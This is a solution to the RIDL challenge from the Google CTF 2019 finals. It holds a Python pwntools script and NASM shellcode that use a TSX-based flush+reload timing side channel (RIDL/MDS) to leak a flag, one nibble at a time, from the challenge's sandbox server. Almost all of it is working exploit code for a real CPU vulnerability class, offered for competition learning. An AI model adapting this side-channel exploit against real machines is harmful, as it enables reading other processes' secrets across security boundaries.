RIDL (Google Capture The Flag 2019 Finals solution)

ridl.py

#!/usr/bin/env python2
from pwn import *
import os

def split_by(data, cnt):
	return [data[i : i+cnt] for i in xrange(0, len(data), cnt)]

context.log_level = 'error'

BEGIN_MARKER = '%$['
END_MARKER = ']%$'

LOCAL = False

print 'Running ' + ('LOCAL' if LOCAL else 'REMOTE')

global_min = 10000000
flag = 'CTF{'
known = u16(flag[-2:])
for i in xrange(len(flag)*2, 100):
	with open('sc.nasm', 'r') as f:
		d = f.read()
	d = d.replace('<INDEX>', str(16 + i/2 - 2))
	if i & 1:
		d = d.replace('<MASK>', '0xFFFFFF')
		d = d.replace('<KNOWN>', hex(known))
		d = d.replace('<ROL>', '20')
	else:
		d = d.replace('<MASK>',  '0xFFFFF')
		d = d.replace('<KNOWN>', hex(known))
		d = d.replace('<ROL>', '16')
	with open('sc_generated.nasm', 'w') as f:
		f.write(d)
	if os.system('nasm sc_generated.nasm -o sc.bin'):
		raise RuntimeError()
	with open('sc.bin', 'rb') as f:
		sc = f.read()

	if LOCAL:
		s = process(['./sc_tester'])
	else:
		host = 'sandbox-ridl.ctfcompetition.com'
		port = 1337
		s = remote(host, port)

	if LOCAL:
		gdb.attach(s)
	s.send(p32(len(sc)) + sc)

	s.readuntil(BEGIN_MARKER)
	timings = s.readuntil(END_MARKER, drop=True)
	timings = map(u64, split_by(timings, 8))

	leak = timings.index(20)
	print 'leaked nibble:', hex(leak)
	if i & 1:
		known |= leak << 20
		flag += chr((known >> 16) & 0xFF)
		print flag
		known >>= 8
	else:
		known |= leak << 16

sc.nasm

[BITS 64]

	%define __NR_READ   0
	%define __NR_WRITE  1
	%define __NR_EXIT  60

	%macro write 2
		mov rdx, %2
		lea rsi, [rel %1]
		mov rdi, 1
		mov rax, __NR_WRITE
		syscall
	%endmacro

	%macro exit 1
		mov rdi, %1
		mov rax, __NR_EXIT
		syscall
	%endmacro

	PROBES equ 0x20
	PROBE_STRIDE_SHIFT equ 12
	PROBE_STRIDE equ (1 << PROBE_STRIDE_SHIFT)

	mov r8, rdi ; probe
	write hello, hello_len

		push rbp
		mov rbp, rsp
		sub rsp, PROBES*8
		%define TIMINGS (rbp-PROBES*8)

		; initialize local variables
		mov r11, 0 ; do_update
		mov rcx, 0
		zero_loop:
			mov qword [TIMINGS + rcx*8], 0
			mov rax, rcx
			shl rax, PROBE_STRIDE_SHIFT
			mov qword [r8 + rax], rcx
			inc rcx
			cmp rcx, PROBES
			jne zero_loop

		main_loop:
			; flush
			mov rcx, 0
			mov rdi, r8
			flush_loop:
				clflush [rdi]
				add rdi, PROBE_STRIDE
				inc rcx
				cmp rcx, PROBES
				jne flush_loop

			xbegin tx_fail
			next:
				; mov rax, [18]
				; and rax, 0xFFFFFF
				; sub rax, 0x037b46
				mov rax, [<INDEX>]
				and rax, <MASK>
				sub rax, <KNOWN>
				ror rax, <ROL>
				shl rax, PROBE_STRIDE_SHIFT
				mov rax, [r8 + rax]
				xend
				jmp no_fail
			tx_fail:
			no_fail:

			; reload
			mov rbx, 0
			mov rdi, r8
			reload_loop:
				mfence
				rdtscp
				shl rdx, 32
				or rdx, rax
				mov r9, rdx
				mfence

				mov rax, [rdi]

				mfence
				rdtscp
				shl rdx, 32
				or rdx, rax
				mfence
				clflush [rdi]

				sub rdx, r9 ; cycle delta
				cmp rdx, 100
				jae skip
				cmp rbx, 0
				je skip ; zero is noisy
					inc qword [TIMINGS + rbx*8]
					inc r11
					cmp r11, 20
					jae end
				skip:
				; mov [TIMINGS + rbx*8], rdx

				add rdi, PROBE_STRIDE
				inc rbx
				cmp rbx, PROBES
				jne reload_loop

			jmp main_loop

	end:
		write BEGIN_MARKER, BEGIN_MARKER_LEN
		write TIMINGS, 8*PROBES
		write END_MARKER, END_MARKER_LEN


	write bye, bye_len
	exit 123

	hello db 'hello', 0xa
	hello_len equ $-hello
	bye db 'bye', 0xa
	bye_len equ $-bye
	BEGIN_MARKER db '%$['
	BEGIN_MARKER_LEN equ $-BEGIN_MARKER
	END_MARKER db ']%$'
	END_MARKER_LEN equ $-END_MARKER